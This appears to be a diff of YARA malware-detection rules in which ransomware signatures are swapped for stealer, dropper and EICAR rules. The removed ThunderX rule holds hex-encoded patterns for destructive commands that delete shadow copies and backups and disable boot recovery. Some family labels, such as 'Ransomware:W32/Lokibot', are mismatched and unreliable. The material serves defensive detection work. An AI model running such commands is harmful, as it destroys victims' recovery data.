"https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - hash = "9706a97ffa43a0258571def8912dc2b8bf1ee207676052ad1b9c16ca9953fc2c" - logic_hash = "2f31da9182a1b47fb1e7e4459461de4c496ec323ff13e622d3ce27ac8cce1912" + logic_hash = "999a69394a545f726cf15e4361e0dfc17eeac6544e6816a0ad140316e9642510" score = 75 - quality = 68 - tags = "RANSOMWARE, FILE" + quality = 70 + tags = "STEALER, FILE" rule_version = "v1" - malware_type = "ransomware" - malware_family = "Ransom:W32/RagnarLocker" + malware_type = "stealer" + malware_family = "Ransomware:W32/Lokibot" actor_type = "Cybercrime" actor_group = "Unknown" + hash1 = "0e40f4fdd77e1f90279c585cfc787942b8474e5216ff4d324d952ef6b74f25d2" + hash2 = "3ad36afad12d8cf245904285c21a8db43f9ed9c82304fdc2f27c4dd1438e4a1d" + hash3 = "26fbdd516b3c1bfa36784ef35d6bc216baeb0ef2d0c0ba036ff9296da2ce2c84" strings: - $s1 = {2D 2D 2D 52 41 47 4E 41 52 20 53 45 43 52 45 54 2D 2D 2D} - $s2 = { 66 ?? ?? ?? ?? ?? ?? 66 ?? ?? ?? B8 ?? ?? ?? ?? 0F 44 } - $s3 = { 5? 8B ?? 5? 5? 8B ?? ?? 8B ?? 85 ?? 0F 84 } - $s4 = { FF 1? ?? ?? ?? ?? 3D ?? ?? ?? ?? 0F 85 } - $s5 = { 8D ?? ?? ?? ?? ?? 5? FF 7? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 } - $op1 = { 0f 11 85 70 ff ff ff 8b b5 74 ff ff ff 0f 10 41 } - $p0 = { 72 eb fe ff 55 8b ec 81 ec 00 01 00 00 53 56 57 } - $p1 = { 60 be 00 00 41 00 8d be 00 10 ff ff 57 eb 0b 90 } - $bp0 = { e8 b7 d2 ff ff ff b6 84 } - $bp1 = { c7 85 7c ff ff ff 24 d2 00 00 8b 8d 7c ff ff ff } - $bp2 = { 8d 85 7c ff ff ff 89 85 64 ff ff ff 8d 4d 84 89 } + $sq1 = { 55 8B EC 56 8B 75 08 57 56 E8 ?? ?? ?? ?? 8B F8 59 85 FF 75 04 33 C0 EB 20 56 6A 00 57 E8 ?? ?? ?? ?? 6A 0C E8 ?? ?? ?? ?? 83 C4 10 85 C0 74 E5 83 60 08 00 89 38 89 70 04 5F 5E 5D C3 } + $sq2 = { 55 8B EC 83 EC 0C 53 56 57 33 DB BE ?? ?? ?? ?? 53 53 56 6A 09 E8 ?? ?? ?? ?? 6A 10 6A 01 53 53 8D 4D F8 51 FF D0 53 53 56 6A 09 E8 ?? ?? ?? ?? 6A 08 6A 01 53 53 8D 4D F8 51 FF D0 85 C0 0F 84 2B 01 00 00 6A 24 E8 ?? ?? ?? ?? 59 8B D8 33 C0 6A 09 59 8B FB F3 AB 66 8B 4D 24 B8 03 66 00 00 C7 03 08 02 00 00 66 85 C9 74 03 0F B7 C1 8B 4D 08 33 D2 0F B7 C0 89 43 04 89 53 08 85 C9 74 12 C7 43 08 08 00 00 00 8B 01 89 43 0C 8B 41 04 89 43 10 8B 4D 0C 85 C9 74 0F 83 43 08 08 8B 01 89 43 14 8B 41 04 89 43 18 8B 4D 10 85 C9 74 0F 83 43 08 08 8B 01 89 43 1C 8B 41 04 89 43 20 8B 7B 08 8B 75 F8 83 C7 0C 52 52 68 ?? ?? ?? ?? 6A 09 E8 ?? ?? ?? ?? 8D 4D FC 51 6A 00 6A 00 57 53 56 FF D0 85 C0 74 75 8B 75 FC 33 C0 40 83 7D 20 00 0F 45 45 20 33 FF 57 57 68 ?? ?? ?? ?? 6A 09 89 45 F4 E8 ?? ?? ?? ?? 57 8D 4D F4 51 6A 04 56 FF D0 85 C0 74 3B 39 7D 14 74 1A 8B 75 FC 57 57 68 ?? ?? ?? ?? 6A 09 E8 ?? ?? ?? ?? 57 FF 75 14 6A 01 56 FF D0 8B 55 18 8B 4D FC 53 89 0A 8B 55 1C 8B 4D F8 89 0A E8 ?? ?? ?? ?? 33 C0 59 40 EB 21 FF 75 FC E8 BF FB FF FF 59 EB 02 33 FF 53 E8 ?? ?? ?? ?? 57 FF 75 F8 E8 6B FB FF FF 83 C4 0C 33 C0 5F 5E 5B 8B E5 5D C3 } + $sq3 = { 55 8B EC 83 EC 0C 53 8B 5D 0C 56 57 6A 10 33 F6 89 75 F8 89 75 FC 58 89 45 F4 85 DB 75 0E FF 75 08 E8 ?? ?? ?? ?? 8B D8 8B 45 F4 59 50 E8 ?? ?? ?? ?? 8B F8 59 85 FF 0F 84 B6 00 00 00 FF 75 F4 56 57 E8 C4 ?? ?? ?? 83 C4 0C 56 56 68 ?? ?? ?? ?? 6A 09 E8 ?? ?? ?? ?? 68 00 00 00 F0 6A 01 56 56 8D 4D F8 51 FF D0 85 C0 0F 84 84 00 00 00 8B 75 F8 6A 00 6A 00 68 ?? ?? ?? ?? 6A 09 E8 ?? ?? ?? ?? 8D 4D FC 51 6A 00 6A 00 68 03 80 00 00 56 FF D0 85 C0 74 51 6A 00 53 FF 75 08 FF 75 FC E8 7F FD FF FF 83 C4 10 85 C0 74 3C 8B 75 FC 6A 00 6A 00 68 ?? ?? ?? ?? 6A 09 E8 ?? ?? ?? ?? 6A 00 8D 4D F4 51 57 6A 02 56 FF D0 85 C0 74 19 FF 75 FC E8 16 FD FF FF 6A 00 FF 75 F8 E8 26 FD FF FF 83 C4 0C 8B C7 EB 0E 6A 00 FF 75 F8 E8 15 FD FF FF 59 59 33 C0 5F 5E 5B 8B E5 5D C3 } + $sq4 = { 55 8B EC 83 7D 10 00 56 57 8B 7D 0C 57 74 0E E8 ?? ?? ?? ?? 8B F0 33 C0 03 F6 40 EB 09 E8 ?? ?? ?? ?? 8B F0 33 C0 83 7D 14 00 59 75 24 50 FF 75 08 E8 2C 00 00 00 59 59 83 F8 01 74 04 33 C0 EB 1D 56 FF 75 08 E8 C5 FE FF FF 59 59 83 F8 01 75 EC 56 57 FF 75 08 E8 CA FE FF FF 83 C4 0C 5F 5E 5D C3 } + $sq5 = { 55 8B EC 53 56 8B 75 0C 57 85 F6 75 0B FF 75 08 E8 ?? ?? ?? ?? 59 8B F0 6B C6 03 89 45 0C 8D 58 01 53 E8 ?? ?? ?? ?? 8B F8 59 85 FF 74 42 53 6A 00 57 E8 ?? ?? ?? ?? 83 C4 0C 33 D2 85 F6 74 27 8B 45 08 0F B6 0C 02 8B C1 83 E1 0F C1 E8 04 8A 80 ?? ?? ?? ?? 88 04 57 8A 81 ?? ?? ?? ?? 88 44 57 01 42 3B D6 72 D9 8B 45 0C C6 04 07 00 8B C7 5F 5E 5B 5D C3 } + $sq6 = { 55 8B EC 53 56 57 FF 75 08 E8 ?? ?? ?? ?? 33 C9 6A 02 5B 8D B8 A0 1F 00 00 8B C7 F7 E3 0F 90 C1 F7 D9 0B C8 51 E8 ?? ?? ?? ?? 8B F0 59 59 85 F6 74 6F 8D 0C 3F 51 6A 00 56 E8 ?? ?? ?? ?? 8D 45 0C 50 FF 75 08 56 E8 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 8B F8 83 C4 1C 85 FF 74 40 33 C9 8D 47 02 F7 E3 0F 90 C1 F7 D9 0B C8 51 E8 ?? ?? ?? ?? 8B D8 59 85 DB 74 25 8D 0C 7D 02 00 00 00 51 6A 00 53 E8 ?? ?? ?? ?? 57 56 53 E8 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83 C4 1C 8B C3 EB 09 56 E8 ?? ?? ?? ?? 59 33 C0 5F 5E 5B 5D C3 } + $sq7 = { 55 8B EC 81 EC 80 00 00 00 56 57 E8 ?? ?? ?? ?? 6A 1F 59 BE ?? ?? ?? ?? 8D 7D 80 F3 A5 33 C9 6A 02 5A 66 A5 8B 7D 08 8D 47 01 F7 E2 0F 90 C1 F7 D9 0B C8 51 E8 ?? ?? ?? ?? 8B F0 59 85 F6 74 4D 8D 04 7D 02 00 00 00 4F 89 45 08 53 50 6A 00 56 E8 ?? ?? ?? ?? 83 C4 0C 33 DB 85 FF 74 1C E8 ?? ?? ?? ?? 33 D2 6A 7E 59 F7 F1 D1 EA 66 8B 44 55 80 66 89 04 5E 43 3B DF 72 E4 56 E8 ?? ?? ?? ?? 3B F8 8B 45 08 59 77 C4 8B C6 5B EB 02 33 C0 5F 5E 8B E5 5D C3 } + $sq8 = { 55 8B EC 81 EC 50 02 00 00 53 56 57 6A 0A E8 ?? ?? ?? ?? 59 33 DB 6A 2E 5E 39 5D 14 0F 84 13 01 00 00 FF 75 08 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 59 59 85 F6 0F 84 F7 00 00 00 53 53 68 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 8D 8D B0 FD FF FF 51 56 FF D0 8B D8 83 FB FF 0F 84 CC 00 00 00 F6 85 B0 FD FF FF 10 0F 84 97 00 00 00 83 7D 1C 00 74 2E 8D 85 DC FD FF FF 68 ?? ?? ?? ?? 50 E8 0A ?? ?? ?? 59 59 85 C0 75 7A 8D 85 DC FD FF FF 68 ?? ?? ?? ?? 50 E8 F3 ?? ?? ?? 59 59 85 C0 75 63 8D 85 DC FD FF FF 50 E8 ?? ?? ?? ?? 59 83 F8 03 73 0C 6A 2E 58 66 39 85 DC FD FF FF 74 45 8D 85 DC FD FF FF 50 FF 75 08 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 0C 89 45 14 85 C0 74 27 6A 01 6A 00 6A 01 FF 75 10 FF 75 0C 50 E8 14 FF FF FF FF 75 14 8B F8 E8 ?? ?? ?? ?? 83 C4 1C 85 FF 0F 85 EE 00 00 00 33 C0 50 50 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8D 8D B0 FD FF FF 51 53 FF D0 85 C0 0F 85 3B FF FF FF 53 E8 ?? ?? ?? ?? 59 56 E8 ?? ?? ?? ?? 59 33 DB 6A 2E 5E FF 75 0C FF 75 08 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F8 83 C4 0C 85 FF 0F 84 CF 00 00 00 53 53 68 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 8D 8D B0 FD FF FF 51 57 FF D0 8B D8 83 FB FF 0F 84 A6 00 00 00 8D 85 DC FD FF FF 50 E8 ?? ?? ?? ?? 59 83 F8 03 73 09 66 39 B5 DC FD FF FF 74 3E 83 BD B0 FD FF FF 10 75 06 83 7D 18 00 74 2F 8D 85 DC FD FF FF 50 FF 75 08 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 83 C4 0C 85 F6 74 12 83 7D 10 00 74 40 56 FF 55 10 56 E8 ?? ?? ?? ?? 59 59 33 C0 50 50 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8D 8D B0 FD FF FF 51 53 FF D0 85 C0 74 29 6A 2E 5E EB 85 56 E8 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 59 59 8B C7 EB 22 57 E8 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 59 59 8B C6 EB 10 53 E8 ?? ?? ?? ?? 59 57 E8 ?? ?? ?? ?? 59 33 C0 5F 5E 5B 8B E5 5D C3 } + $sq9 = { 83 3D 14 ?? ?? ?? ?? 56 74 0A 8B 35 20 ?? ?? ?? 85 F6 75 66 53 57 BB E0 01 00 00 33 FF 53 89 3D 14 ?? ?? ?? E8 F0 F8 FF FF 33 F6 A3 14 ?? ?? ?? 46 59 85 C0 74 12 6A 78 57 50 89 35 20 ?? ?? ?? E8 A6 F8 FF FF 83 C4 0C 53 89 3D 18 ?? ?? ?? E8 C5 F8 FF FF A3 18 ?? ?? ?? 59 85 C0 74 14 6A 78 57 50 89 35 20 ?? ?? ?? E8 7E F8 FF FF 83 C4 0C EB 06 8B 35 20 ?? ?? ?? 5F 5B 8B C6 5E C3 } + $sq10 = { 55 8B EC 51 51 83 65 FC 00 53 56 57 64 A1 30 00 00 00 89 45 FC 8B 45 FC 8B 40 0C 8B 58 0C 8B F3 8B 46 18 FF 76 28 89 45 F8 E8 CE FA FF FF 8B F8 59 85 FF 74 1F 6A 00 57 E8 32 01 00 00 57 E8 ?? ?? ?? ?? 03 C0 50 57 E8 71 FA FF FF 83 C4 14 39 45 08 74 11 8B 36 3B DE 75 C6 33 C0 5F 5E 5B 8B E5 5D C2 04 00 8B 45 F8 EB F2 } + $sq11 = { A1 ?? ?? ?? ?? 85 C0 74 07 50 E8 ?? ?? ?? ?? 59 A1 ?? ?? ?? ?? 85 C0 74 07 50 E8 ?? ?? ?? ?? 59 A1 ?? ?? ?? ?? 85 C0 74 07 50 E8 ?? ?? ?? ?? 59 33 C0 A3 ?? ?? ?? ?? A3 ?? ?? ?? ?? A3 ?? ?? ?? ?? C3 } + $sq12 = { 55 8B EC 56 8B 75 0C 57 85 F6 74 48 56 E8 ?? ?? ?? ?? 59 85 C0 74 3D 56 E8 ?? ?? ?? ?? 59 85 C0 74 32 83 65 0C 00 8D 45 0C 6A 01 50 56 E8 ?? ?? ?? ?? 8B F8 83 C4 0C 85 FF 74 19 8B 45 0C 85 C0 74 12 83 7D 14 00 74 12 39 45 14 73 0D 57 E8 ?? ?? ?? ?? 59 33 C0 5F 5E 5D C3 83 7D 10 00 74 1A 6A 00 6A 01 56 E8 ?? ?? ?? ?? 59 50 FF 75 08 E8 1F 00 00 00 8B 45 0C 83 C4 10 50 57 FF 75 08 E8 FF FE FF FF 57 8B F0 E8 ?? ?? ?? ?? 83 C4 10 8B C6 EB C3 } + $sq13 = { 55 8B EC 83 EC 18 56 FF 75 08 E8 ?? ?? ?? ?? 50 89 45 F0 E8 ?? ?? ?? ?? 8B F0 59 59 85 F6 0F 84 C0 00 00 00 53 8B 5D 0C 33 C9 57 6A 04 5A 8B C3 F7 E2 0F 90 C1 F7 D9 0B C8 51 E8 ?? ?? ?? ?? 83 65 F4 00 8B F8 83 65 FC 00 59 85 DB 74 6D 8B 45 10 83 C0 FC FF 75 F0 83 C0 04 89 45 E8 6A 00 56 8B 00 89 45 EC E8 ?? ?? ?? ?? FF 75 F0 FF 75 08 56 E8 ?? ?? ?? ?? 83 65 F8 00 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83 C4 20 EB 1F FF 75 EC 50 E8 ?? ?? ?? ?? 59 59 85 C0 75 32 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? FF 45 F8 59 59 85 C0 75 DD 8B 45 FC 40 89 45 FC 3B C3 8B 45 E8 72 99 56 E8 ?? ?? ?? ?? 59 39 5D F4 75 12 8B C7 EB 17 8B 45 FC 8B 4D F8 FF 45 F4 89 0C 87 EB D7 57 E8 ?? ?? ?? ?? 59 33 C0 5F 5B 5E 8B E5 5D C3 } + $sq14 = { 55 8B EC 8B 45 0C 53 56 8B 75 08 57 8B 4E 04 03 C1 8D 3C 09 3B F8 77 06 8D B8 F4 01 00 00 33 C9 8B C7 6A 04 5A F7 E2 0F 90 C1 F7 D9 0B C8 51 E8 ?? ?? ?? ?? 8B D8 59 85 DB 74 26 57 6A 00 53 E8 ?? ?? ?? ?? FF 76 08 FF 36 53 E8 ?? ?? ?? ?? FF 36 E8 ?? ?? ?? ?? 33 C0 89 1E 83 C4 1C 89 7E 04 40 5F 5E 5B 5D C3 } + $sq15 = { 55 8B EC 83 7D 0C 00 57 74 39 8B 7D 10 85 FF 74 32 56 8B 75 08 8B 46 08 03 C7 3B 46 04 76 09 57 56 E8 3F FF FF FF 59 59 8B 46 08 03 06 57 FF 75 0C 50 E8 ?? ?? ?? ?? 01 7E 08 83 C4 0C 33 C0 40 5E EB 02 33 C0 5F 5D C3 } condition: - uint16( 0 ) == 0x5a4d and filesize < 100KB and ( 4 of ( $s* ) and $op1 ) or all of ( $p* ) and pe.imphash ( ) == "9f611945f0fe0109fe728f39aad47024" or all of ( $bp* ) and pe.imphash ( ) == "489a2424d7a14a26bfcfb006de3cd226" + uint16( 0 ) == 0x5a4d and any of them } -rule TRELLIX_ARC_Purelocker_Ransomware : RANSOMWARE FILE +rule TRELLIX_ARC_STEALER_Emirates_Statement : STEALER { meta: - description = "Rule to detect PureLocker ransomware based on binary sequences" - author = "Marc Rivero | McAfee ATR Team" - id = "3d945869-9faa-59de-add6-d664a7beef6f" - date = "2019-11-13" + description = "Credentials Stealing Attack" + author = "Christiaan Beek | McAfee ATR Team" + id = "b5a6d996-8a3d-5238-95af-bf5ff893bbc5" + date = "2013-06-30" modified = "2020-08-14" - reference = "https://www.pandasecurity.com/mediacenter/security/purelocker-ransomware-servers/" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_PureLocker.yar#L1-L25" + reference = "https://github.com/advanced-threat-research/Yara-Rules/" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/stealer/STEALER_EmiratesStatement.yar#L1-L24" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - logic_hash = "9f39f0ef922023a79919f5b41a7acda6c08373af8f5fd2d4c4dcaca6146970ea" + hash = "7cf757e0943b0a6598795156c156cb90feb7d87d4a22c01044499c4e1619ac57" + logic_hash = "17eaddf375fc1875fb0275f8c0f93dfe921b452bdc6eb471adc155f749492328" score = 75 - quality = 70 - tags = "RANSOMWARE, FILE" + quality = 45 + tags = "STEALER" rule_version = "v1" - malware_type = "ransomware" - malware_family = "Ransom:W32/PureLocker" + malware_type = "stealer" + malware_family = "Stealer:W32/DarkSide" actor_type = "Cybercrime" actor_group = "Unknown" strings: - $sequence = { 31??FF????E8????????83????5BC2????555357BA????????83????C7????????????4A75??E8????????8B????????????8D????E8????????8B????????????8D??????E8????????FF????8D??????????59E8????????75??FF??????8D??????????59E8????????75??EB??B8????????EB??31??21??74??31??0FBE??E9????????8D??????C7????????????C7????????????66??????????FF??????E8????????89??????52E8????????5A5052E8????????5A50FF??????E8????????8D????????????50E8????????8B??????01??89??????8B??????83????53E8????????89??????8B??????21??75??31??0FBE??E9????????68????????68????????FF????????????FF??????E8????????FF????E8????????89??01??89????????????8B????????????83????53E8????????89????????????8B????????????21??75??FF??????E8????????31??0FBE??E9????????68????????68????????FF??????FF????????????E8????????0FBE??????????83????0F85????????8B??????83????53E8????????89????????????8B????????????21??75??E9????????68????????68????????FF??????FF????????????E8????????FF??????E8????????68????????8D??????508D??????5068????????68????????68????????31??5068????????68????????FF????????????FF????????????68????????E8????????89??????8B??????21??75??31??0FBE??E9????????8D??????FF????E8????????8D??????FF????E8????????FF????????????E8????????FF????????????E8????????B8????????0FBE??E9????????EB??68????????8D??????508D??????5068????????68????????68????????31??5068????????68????????FF??????FF????????????68????????E8????????89??????8B??????21??75??31??0FBE??E9????????8D??????508D??????FF????E8????????89????????????FF??????E8????????C7??????????????FF????????????E8????????C7????????????????????C7????????????????????8B????????????21??74??E9????????0FBE????????????83????75??68????????68????????8D????????????5068????????8D??????FF????E8????????89??????EB??68????????68????????8D????????????5068????????8D??????FF????E8????????89??????8B??????21??74??E9????????0FBE????????????83????75??8D????????????8D????FF????FF??8F??????8F??????EB??8D????????????8B????9952508F??????8F??????FF??????FF??????5B5F83????7F??7C??83????77??31??EB??B8????????09??75??E9????????0FBE????????????83????75??68????????E8????????89????????????8B????????????21??75??E9????????68????????68????????68????????FF????????????FF????????????FF????????????8D??????FF????E8????????89????????????EB??68????????E8????????89??????8B??????21??75??E9????????68????????68????????FF??????8B????????????508D??????FF????E8????????89????????????8B????????????21??74??E9????????0FBE????????????83????75??8B????????????21??75??E9????????8B????????????8D????FF????FF??5B5F83????75??83????74??31??EB??B8????????09??74??E9????????EB??8B??????21??75??E9????????8B??????8B????21??75??E9????????0FBE????????????83????75??C7????????????????????FF????????????E8????????89????????????C7????????????????????68????????68????????FF????????????FF????????????8B????????????8D????FF????FF??8D??????FF????E8????????89????????????EB??C7????????????????????FF????????????E8????????89????????????C7????????????????????68????????FF????????????FF????????????8B????????????FF????8D??????FF????E8????????89????????????8B????????????21??74??E9????????0FBE????????????83????75??8B????????????21??7E??68????????68????????FF????????????E8????????FF????????????E8????????C7????????????????????EB??8B??????21??7E??68????????68????????FF??????E8????????FF??????E8????????C7??????????????0FBE????????????83????75??8B????????????21??75??E9????????8B????????????8D????89??21??75??E9????????EB??8B????????????21??75??E9????????8B????????????8D????89??21??75??E9????????8B??????83????53E8????????89????????????8B????????????21??75??E9????????68????????68????????FF??????FF????????????E8????????0FBE????????????83????75??68????????68????????FF??????FF????????????8B????????????8D????FF????FF??8D??????FF????E8????????89????????????EB??68????????FF??????FF????????????8B????????????FF????8D??????FF????E8????????89????????????FF????????????E8????????C7????????????????????0FBE????????????83????75??68????????68????????FF????????????E8????????FF????????????E8????????C7????????????????????EB??68????????68????????FF????????????E8????????FF????????????E8????????C7????????????????????8B????????????21??74??EB??68????????8D??????FF????E8????????89????????????8B????????????21??74??EB??0FBE????????????83????75??68????????31??508D??????FF????E8????????C6????????8D??????FF????E8????????8D??????FF????E8????????0FBE??????0FBE??E9????????8B????????????21??7E??FF????????????E8????????8B????????????21??7E??FF????????????E8????????8B????????????21??7E??FF????????????E8????????8B??????21??7E??FF??????E8????????8B????????????21??7E??FF????????????E8????????8D??????8B????21??7E??68????????8D??????FF????E8????????8D??????8B????21??7E??8D??????FF????E8????????8D??????8B????21??7E??8D??????FF????E8????????31??0FBE??EB??31??FF????E8????????FF????????????E8????????FF??????E8????????81??????????5F5B5DC2????31??50E8????????83????????????74??FF??????????5889????FF??????FF??????FF??????FF??????EB??EB??B8????????EB??31??83????C2????31??C2????5553BA????????83????C7????????????4A75??E8????????8B??????8D????E8????????83????????????0F84????????FF????E8????????89??01??89??????8B??????83????53E8????????89??????83????????74??68????????68????????FF??????FF??????E8????????89??3B??????75??8B??????83????538D??????5866??????FF??????5866??????FF??????5889????FF??????????5889??????8D??????508D??????5068????????68????????FF??????89??21??75??FF??????5889??????FF??????E8????????8B??????EB??31??FF????E8????????83????5B5DC2????31??50E8????????83????????????74??FF??????????5889????FF??????FF??????FF??????FF??????EB??EB??B8????????EB??31??83????C2????31??5050E8????????FF??????E8????????52E8????????5A50FF??????????8D??????????50E8????????8D??????50E8????????52E8????????5A5052E8????????5A50FF??????????8D??????????50E8????????E8????????01????E8????????8D??????50E8????????FF????8D??????????59E8????????74??52E8????????5A5052E8????????5A50FF??????????8D??????????50E8????????E8????????01????E8????????52E8????????5A5052E8????????5A50FF??????????8D??????????50E8????????E8????????01????E8????????588B??????52E8????????8D??????50E8????????EB??8B????52E8????????5A5052E8????????8B??????52E8????????8D??????50E8????????8B????52E8????????5A5052E8????????5850E8????????5A01??EB??E8????????66????????FF????E8????????FF??????E8????????83????C331??50E8????????83????????????74??FF??????????5889????FF??????FF??????FF??????FF??????FF??????FF??????FF??????FF??????FF??????FF??????FF??????EB??EB??B8????????EB??31??83????C2????555331??50505050E8????????C7??????????????FF??????E8????????89????8B????21??75??31??EB??8D??????50FF??????FF??????68????????E8????????89??21??75??8B????FF????5889??????68????????68????????FF??????E8????????FF????E8????????8B??????EB??31??83????5B5DC35331??50505050E8????????8B??????8D????E8????????FF????E8????????89??????8B??????83????53E8????????89??????83????????74??68????????FF??????FF??????FF??????E8????????21??74??FF??????FF??????68????????E8????????89??F7??89??????FF??????E8????????8B??????EB??31??FF????E8????????83????5BC2????31??50E8????????83????????????74??FF??????????5889????FF??????FF??????FF??????FF??????FF??????FF??????EB??EB??B8????????EB??31??83????C2????5553BA????????83????C7????????????4A75??E8????????8B??????8D????E8????????FF????8D??????????59E8????????74??31??E9????????52E8????????5A50FF??????????8D??????????50E8????????8B??????52E8????????8D??????50E8????????FF??????E8????????89??01??89??????8B??????83????53E8????????89??????83????????0F84????????68????????68????????FF??????FF??????E8????????89??3B??????0F85????????FF??????8D??????5866??????8B??????83????535866??????FF??????5889????C7??????????????8D??????????8D??????E8????????8D??????C7????????????C7????????????8D??????505889????68????????68????????8D??????508D??????5068????????8D??????50E8????????89??21??75??8B??????21??7E??B8????????EB??31??21??74??FF??????E8????????C7??????????????68????????68????????8D??????508D??????50FF??????E8????????89??21??75??8D??????FF????5889??????FF??????E8????????8B??????21??7E??FF??????E8????????8B??????EB??31??FF??????E8????????FF????E8????????83????5B5DC2????555357BA????????83????C7???????????? } + $string0 = "msn.klm" + $string1 = "wmsn.klm" + $string2 = "bms.klm" condition: - uint16( 0 ) == 0x5a4d and filesize < 300KB and all of them + all of them } - -rule TRELLIX_ARC_Ransom_Tunderx : RANSOMWARE FILE +rule TRELLIX_ARC_Dropper_Demekaf_Pdb : DROPPER FILE { meta: - description = "Rule to detect tthe ThunderX ransomware family" - author = "McAfee ATR team" - id = "cf5ecd0c-db26-5fe4-a056-b5c1ca3b1d34" - date = "2020-09-14" - modified = "2020-10-12" - reference = "https://github.com/advanced-threat-research/Yara-Rules/" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/Ransom_ThunderX.yar#L3-L45" + description = "Rule to detect Demekaf dropper based on PDB" + author = "Marc Rivero | McAfee ATR Team" + id = "b49f42c1-d737-5afa-b547-7268e4cde360" + date = "2011-03-26" + modified = "2020-08-14" + reference = "https://v.virscan.org/Trojan-Dropper.Win32.Demekaf.html" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/malware/MALW_dropper_demekaf_pdb.yar#L1-L25" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - logic_hash = "f870616c4a35239a01129daad5f12469b2df39251ee4bc9fbeb5523f00231ece" + hash = "fab320fceb38ba2c5398debdc828a413a41672ce9745afc0d348a0e96c5de56e" + logic_hash = "89c0c1da1f8997b12a446c93bbde200e62fac9cab2a9a17147b268d435bdc3b6" score = 75 - quality = 68 - tags = "RANSOMWARE, FILE" + quality = 70 + tags = "DROPPER, FILE" rule_version = "v1" - malware_type = "ransomware" - malware_family = "Ransomware:W32/ThunderX" + malware_type = "dropper" + malware_family = "Dropper:W32/Demekaf" actor_type = "Cybercrime" actor_group = "Unknown" - hash1 = "7bab5dedef124803668580a59b6bf3c53cc31150d19591567397bbc131b9ccb6" - hash2 = "0fbfdb8340108fafaca4c5ff4d3c9f9a2296efeb9ae89fcd9210e3d4c7239666" - hash3 = "7527459500109b3bb48665236c5c5cb2ec71ba789867ad2b6417b38b9a46615e" strings: - $pattern1 = "626364656469742E657865202F736574207B64656661756C747D20626F6F74737461747573706F6C6963792069676E6F7265616C6C6661696C75726573" - $s3 = "776261646D696E2044454C4554452053595354454D53544154454241434B5550202D64656C6574654F6C64657374" ascii - $s4 = "626364656469742E657865202F736574207B64656661756C747D207265636F76657279656E61626C6564204E6F" ascii - $s5 = "776261646D696E2044454C4554452053595354454D53544154454241434B5550" ascii - $s6 = "433A5C50726F6772616D2046696C65732028783836295C4D6963726F736F66742053514C20536572766572" ascii - $s7 = "476C6F62616C5C33353335354641352D303745392D343238422D423541352D314338384341423242343838" ascii - $s8 = "433A5C50726F6772616D2046696C65735C4D6963726F736F66742053514C20536572766572" ascii - $s9 = "76737361646D696E2E6578652044656C65746520536861646F7773202F416C6C202F5175696574" ascii - $s10 = "776D69632E65786520534841444F57434F5059202F6E6F696E746572616374697665" ascii - $s11 = "534F4654574152455C4D6963726F736F66745C45524944" ascii - $s12 = "AppPolicyGetProcessTerminationMethod" fullword ascii - $s13 = "7B5041545445524E5F49447D" ascii - $s14 = "726561646D652E747874" ascii - $s15 = "226E6574776F726B223A22" ascii - $s16 = "227375626964223A22" ascii - $s17 = "226C616E67223A22" ascii - $s18 = "22657874223A22" ascii - $s19 = "69642E6B6579" ascii - $s20 = "7B5549447D" ascii - $seq0 = { eb 34 66 0f 12 0d 10 c4 41 00 f2 0f 59 c1 ba cc } - $seq1 = { 6a 07 50 e8 51 ff ff ff 8d 86 d0 } - $seq2 = { ff 15 34 81 41 00 eb 15 83 f8 fc 75 10 8b 45 f4 } + $pdb = "\\vc\\res\\fake1.19-jpg\\fake\\Release\\fake.pdb" condition: - ( uint16( 0 ) == 0x5a4d and filesize < 400KB and pe.imphash ( ) == "ea7e408cd2a264fd13492973e97d8d70" and $pattern1 and 4 of them ) and all of ( $seq* ) or ( all of them ) + uint16( 0 ) == 0x5a4d and filesize < 150KB and any of them } -rule TRELLIX_ARC_RANSOM_Exorcist : RANSOMWARE FILE +rule TRELLIX_ARC_Malw_Eicar : EICAR { meta: - description = "Rule to detect Exorcist" - author = "McAfee ATR Team" - id = "38ab069d-b030-5459-a42f-7ecd5963e68f" - date = "2020-09-01" - modified = "2020-10-12" - reference = "https://github.com/advanced-threat-research/Yara-Rules/" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_Exorcist.yar#L1-L25" + description = "Rule to detect the EICAR pattern" + author = "Marc Rivero | McAfee ATR Team" + id = "16307b03-7fab-5d68-ad3b-0efcea952fcf" + date = "2026-03-01" + modified = "2020-08-14" + reference = "https://www.eicar.org/" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/malware/MALW_Eicar.yar#L1-L22" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - logic_hash = "c376382e60aae0f661151495097d3d93f185faebb11781dbf083324c23a07247" + hash = "275a021bbfb6489e54d471899f7db9d1663fc695ec2fe2a2c4538aabf651fd0f" + logic_hash = 